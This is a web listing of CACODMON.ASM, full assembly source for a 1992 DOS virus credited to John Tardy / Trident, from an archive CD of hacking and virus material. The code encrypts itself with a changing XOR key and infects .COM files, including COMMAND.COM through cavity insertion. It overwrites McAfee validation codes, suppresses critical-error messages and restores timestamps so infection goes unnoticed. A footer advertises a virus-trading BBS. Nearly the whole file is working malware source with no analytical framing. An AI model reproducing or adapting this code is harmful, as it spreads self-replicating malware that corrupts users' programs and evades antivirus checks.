home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CACODMON.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  15KB  |  337 lines

  1.             Org 0h                              ; Generate .BIN file
  2.  
  3. Start:      Jmp MainVir                         ; Jump to decryptor code at EOF
  4.  
  5.             Db '*'                              ; Virus signature (very short)
  6.  
  7. ;
  8. ; Decryptor procedure
  9. ;
  10.  
  11. MainVir:    Call On1                            ; Push offset on stack
  12.  
  13. On1:        Pop BP                              ; Calculate virus offset
  14.             Sub BP,Offset MainVir+3             ;
  15.  
  16.             Push Ax                             ; Save possible error code
  17.  
  18.             Lea Si,Crypt[BP]                    ; Decrypt the virus with a
  19.             Mov Di,Si                           ; very simple exclusive or
  20.             Mov Cx,CryptLen                     ; function.
  21. Decrypt:    Lodsb                               ;
  22.             Xor Al,0                            ;
  23.             Stosb                               ;
  24.             Loop Decrypt                        ;
  25.  
  26. DecrLen     Equ $-MainVir                       ; Length of the decryptor
  27.  
  28. ;
  29. ; Main initialization procedure
  30. ;
  31.  
  32. Crypt:      Mov Ax,Cs:OrgPrg[BP]                ; Store begin of host at
  33.             Mov Bx,Cs:OrgPrg[BP]+2              ; cs:100h (begin of com)
  34.             Mov Cs:Start+100h,Ax                ;
  35.             Mov Cs:Start[2]+100h,Bx             ;
  36.  
  37.             Xor Ax,Ax                           ; Get original interrupt 24
  38.             Push Ax                             ; (critical error handler)
  39.             Pop Ds                              ;
  40.             Mov Bx,Ds:[4*24h]                   ;
  41.             Mov Es,Ds:[4*24h]+4                 ;
  42.  
  43.             Mov Word Ptr Cs:OldInt24[Bp],Bx     ; And store it on a save place
  44.             Mov Word Ptr Cs:OldInt24+2[Bp],Es   ;
  45.  
  46.             Lea Bx,NewInt24[Bp]                 ; Install own critical error
  47.             Push Cs                             ; handler to avoid messages
  48.             Pop Es                              ; when a disk is write
  49.             Mov Word Ptr Ds:[4*24h],Bx          ; protected and such things
  50.             Mov Word Ptr Ds:[4*24h]+2,Es        ;
  51.             Push Cs                             ;
  52.             Pop Ds                              ;
  53.  
  54.             Mov Ah,30h                          ; Check if DOS version is
  55.             Int 21h                             ; 3.0 or above for correct
  56.             Cmp Al,3                            ; interrupt use
  57.             Jae NoCLean                         ;
  58.             Jmp Ready
  59.  
  60. NoClean:    Mov Ah,1ah                          ; Store DTA at safe place
  61.             Mov Dx,0fd00h                       ;
  62.             Int 21h                             ;
  63.  
  64.             Mov Ah,4eh                          ; FindFirsFile Function
  65.  
  66. Search:     Lea Dx,FileSpec[BP]                 ; Search for filespec given
  67.             Xor Cx,Cx                           ; in FileSpec adress
  68.             Int 21h                             ;
  69.             Jnc Found                           ; Found - Found
  70.             Jmp Ready                           ; Not Found - Ready
  71.  
  72. Found:      Mov Ax,4300h                        ; Get file attributes and
  73.             Mov Dx,0fd1eh                       ; store them on the stack
  74.             Int 21h                             ;
  75.             Push Cx                             ;
  76.  
  77.             Mov Ax,4301h                        ; clear file attributes
  78.             Xor Cx,Cx                           ;
  79.             Int 21h                             ;
  80.  
  81.             Mov Ax,3d02h                        ; open file with read/write
  82.             Int 21h                             ; access
  83.  
  84.             Mov Bx,5700h                        ; save file date/time stamp
  85.             Xchg Ax,Bx                          ; on the stack
  86.             Int 21h                             ;
  87.             Push Cx                             ;
  88.             Push Dx                             ;
  89.  
  90.             Mov Ah,3fh                          ; read the first 4 bytes of
  91.             Lea Dx,OrgPrg[BP]                   ; the program onto OrgPrg
  92.             Mov Cx,4                            ;
  93.             Int 21h                             ;
  94.  
  95.             Mov Ax,Cs:[OrgPrg][BP]              ; Check if renamed exe-file
  96.             Cmp Ax,'ZM'                         ;
  97.             Je ExeFile                          ;
  98.  
  99.             Cmp Ax,'MZ'                         ; Check if renamed weird exe-
  100.             Je ExeFile                          ; file
  101.  
  102.             Mov Ah,Cs:[OrgPrg+3][BP]            ; Check if already infected
  103.             Cmp Ah,'*'                          ;
  104.             Jne Infect                          ;
  105.  
  106. ExeFile:    Call Close                          ; If one of the checks is yes,
  107.             Mov Ah,4fh                          ; close file and search next
  108.             Jmp Search                          ; file
  109.  
  110. FSeek:      Xor Cx,Cx                           ; subroutine to jump to end
  111.             Xor Dx,Dx                           ; or begin of file
  112.             Int 21h                             ;
  113.             Ret                                 ;
  114.  
  115. Infect:     Mov Ax,0fd1e[0]                     ; check if the file is
  116.             Cmp Ax,'OC'                         ; COMMAN?.COM (usually result
  117.             Jne NoCommand                       ; if COMMAND.COM)
  118.             Mov Ax,0fd1e[2]                     ;
  119.             Cmp Ax,'MM'                         ;
  120.             Jne NoCommand                       ;
  121.             Mov Ax,0fd1e[4]                     ;
  122.             Cmp Ax,'NA'                         ;
  123.             Jne NoCommand                       ;
  124.  
  125.             Mov Ax,4202h                        ; Jump to EOF
  126.             Call Fseek                          ;
  127.  
  128.             Cmp Ax,0f000h                       ; Check if file too large
  129.             Jae ExeFile
  130.  
  131.             Cmp Ax,VirS                         ; Check if file to short
  132.             jbe ExeFile
  133.             
  134.             Sub     Ax,VirS  
  135.             Xchg    Cx,Dx
  136.             Mov     Dx,4200h
  137.             Xchg    Dx,Ax
  138.             Mov     EOFminVir[BP],Dx
  139.             Int     21h
  140.             Mov     Ah,3fh
  141.             Mov     Dx,Offset Buffer
  142.             Mov     Cx,VirS  
  143.             Int     21h
  144.             Cld
  145.             Mov     Si,Offset Buffer
  146.             Mov     Cx,VirLen
  147. On5:
  148.             Push    Cx
  149. On6:        Lodsb
  150.             Cmp     Al,0
  151.             Jne     On4
  152.             Loop    On6
  153. On4:        Cmp     Cx,0
  154.             Je      Found0
  155.  
  156.             Pop     Cx
  157.             Cmp     Si,SeekLen
  158.             Jb      On5
  159.             Jmp     NoCommand
  160.  
  161. Found0:     Pop     Cx
  162.             Sub     Si,Offset Buffer
  163.             Sub     Si,Cx
  164.             Xor     Cx,Cx
  165.             Mov     Dx,EOFminVir[BP]
  166.             Add     Dx,Si
  167.  
  168.             Mov     Ax,4200h
  169.             Int     21h
  170.             Jmp     CalcVirus
  171.  
  172. EOFminVir   Dw 0
  173.  
  174. NoCommand:  Mov Ax,4202h                        ; jump to EOF
  175.             Call FSeek                          ;
  176.  
  177.             Cmp Ax,0f000h                       ; Check if file too large
  178.             Jb NoExe1                           ; if yes, goto exefile
  179.             Jmp ExeFile                         ;
  180.  
  181. NoExe1:     Cmp Ax,10                           ; Check if file too short
  182.             Ja NoExe2                           ; if yes, goto exefile
  183.             Jmp ExeFile                         ;
  184.  
  185.  
  186. NoExe2:     Mov Cx,Dx                           ; calculate pointer to offset
  187.             Mov Dx,Ax                           ; EOF-52 (for McAfee validation
  188.             Sub Dx,52                           ; codes)
  189.  
  190.             Mov Si,Cx                           ; move file pointer to the
  191.             Mov Di,Dx                           ; calculated address
  192.             Mov Ax,4200h                        ;
  193.             Int 21h                             ;
  194.  
  195.             Mov Ah,3fh                          ; read the last 52 bytes
  196.             Mov Dx,0fb00h                       ; of the file
  197.             Mov Cx,52                           ;
  198.             Int 21h                             ;
  199.  
  200.             Cmp Ds:0Fb00h,0fdf0h                ; check if protected with the
  201.             Jne Check2                          ; AG option
  202.             Cmp Ds:0fb02h,0aac5h                ;
  203.             Jne Check2                          ;
  204.  
  205.             Mov Ax,4200h                        ; yes - let virus overwrite
  206.             Mov Cx,Si                           ; the code with itself, so
  207.             Mov Dx,Di                           ; the file has no validation
  208.             Int 21h                             ; code
  209.             Jmp CalcVirus                       ;
  210.  
  211. Check2:     Cmp Ds:0Fb00h+42,0fdf0h             ; check if protected with the
  212.             Jne Eof                             ; AV option
  213.             Cmp Ds:0Fb02h+42,0aac5h             ;
  214.             Jne Eof                             ;
  215.  
  216.             Mov Ax,4200h                        ; yes - let virus overwrite
  217.             Mov Cx,Si                           ; the code with itself, so
  218.             Mov Dx,Di                           ; the file has no validation
  219.             Add Dx,42                           ; code
  220.             Int 21h                             ;
  221.             Jmp CalcVirus                       ;
  222.  
  223. Eof:        Mov Ax,4202h                        ; not AG or AV - jump to
  224.             Call Fseek                          ; EOF
  225.  
  226. CalcVirus:  Sub Ax,3                            ; calculate the jump for the
  227.             Mov Cs:CallPtr[BP]+1,Ax             ; virus start
  228.  
  229. GetCrypt:   Mov Ah,2ch                          ; get 100s seconds for the
  230.             Int 21h                             ; encryption value.
  231.             Cmp Dl,0                            ; if not zero, goto NoZero
  232.             Jne NoZero                          ;
  233.             Jmp GetCrypt                        ;
  234.  
  235. NoZero:     Mov Cs:Decrypt+2[BP],Dl             ; Store key into decryptor
  236.  
  237.             Lea Si,MainVir[BP]                  ; Move changed decryptor to
  238.             Mov Di,0fb00h                       ; a safe place in memory
  239.             Mov Cx,DecrLen                      ;
  240.             Rep Movsb                           ;
  241.  
  242.             Lea Si,Crypt[BP]                    ; Encrypt the virus and merge
  243.             Mov Cx,CryptLen                     ; it to the changed decryptor
  244. Encrypt:    Lodsb                               ; code
  245.             Xor Al,Dl                           ;
  246.             Stosb                               ;
  247.             Loop Encrypt                        ;
  248.  
  249.             Mov Ah,40h                          ; append virus at EOF or over
  250.             Lea Dx,0fb00h                       ; the validation code of
  251.             Mov Cx,VirLen                       ; McAfee
  252.             Int 21h                             ;
  253.  
  254.             Mov Ax,4200h                        ; Jump to BOF
  255.             Call FSeek                          ;
  256.  
  257.             Mov Ah,40h                          ; Write Jump at BOF
  258.             Lea Dx,CallPtr[BP]                  ;
  259.             Mov Cx,4                            ;
  260.             Int 21h                             ;
  261.  
  262.             Call Close                          ; Jump to Close routine
  263.  
  264. Ready:      Mov Ah,1ah                          ; Restore DTA to normal
  265.             Mov Dx,80h                          ; offset
  266.             Int 21h                             ;
  267.  
  268.             Mov Ax,Cs:OldInt24[Bp]              ; remove critical error
  269.             Mov Dx,Cs:OldInt24+2[Bp]            ; handler and store the
  270.             Xor Bx,Bx                           ; original handler at the
  271.             Push Bx                             ; interrupt table
  272.             Pop Ds                              ;
  273.             Mov Ds:[4*24h],Dx                   ;
  274.             Mov Ds:[4*24h]+2,Ax                 ;
  275.             Push Cs                             ;
  276.             Pop Ds                              ;
  277.  
  278.             Pop Ax                              ; restore possible error code
  279.  
  280.             Mov Bx,100h                         ; nice way to jump to the
  281.             Push Cs                             ; begin of the original host
  282.             Push Bx                             ; code
  283.             Retf                                ;
  284.  
  285.             Db ' (C) 1992 John Tardy / Trident '
  286.  
  287. Close:      Pop Si                              ; why???
  288.  
  289.             Pop Dx                              ; restore file date/time
  290.             Pop Cx                              ; stamp
  291.             Mov Ax,5701h                        ;
  292.             Int 21h                             ;
  293.  
  294.             Mov Ah,3eh                          ; close file
  295.             Int 21h                             ;
  296.  
  297.             Mov Ax,4301h                        ; restore file attributes
  298.             Pop Cx                              ;
  299.             Mov Dx,0fd1eh                       ;
  300.             Int 21h                             ;
  301.  
  302.             Push Si                             ; why???
  303.             Ret
  304.  
  305. ;           Db 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
  306.             Db ' Satan spawn, the Caco-Daemon - Mor(T)alities Death '
  307.  
  308. ;
  309. ; New critical error handler
  310. ;
  311.  
  312. NewInt24:   Mov Al,3                            ; supress any critical error
  313.             Iret                                ; messages
  314.  
  315. OldInt24    Dd 0                                ; storage place for old int 24
  316.  
  317. CallPtr     Db 0e9h,0,0                         ; jump to place at BOF
  318.  
  319. FileSpec    Db '*.COM',0                        ; filespec and infection marker
  320.  
  321. OrgPrg:     Int 20h                             ; original program
  322.             Db 'JT'                             ;
  323.  
  324. CryptLen    Equ $-Crypt                         ; encrypted part length
  325.  
  326. VirLen      Equ $-MainVir                       ; total virus length
  327.  
  328. Buffer      Equ 0f040h                          ; buffer offset
  329. VirS        Equ VirLen*2
  330.  
  331. SeekLen     Equ Buffer+Virs
  332.  
  333. ;  ─────────────────────────────────────────────────────────────────────────
  334. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  335. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  336. ;  ─────────────────────────────────────────────────────────────────────────
  337.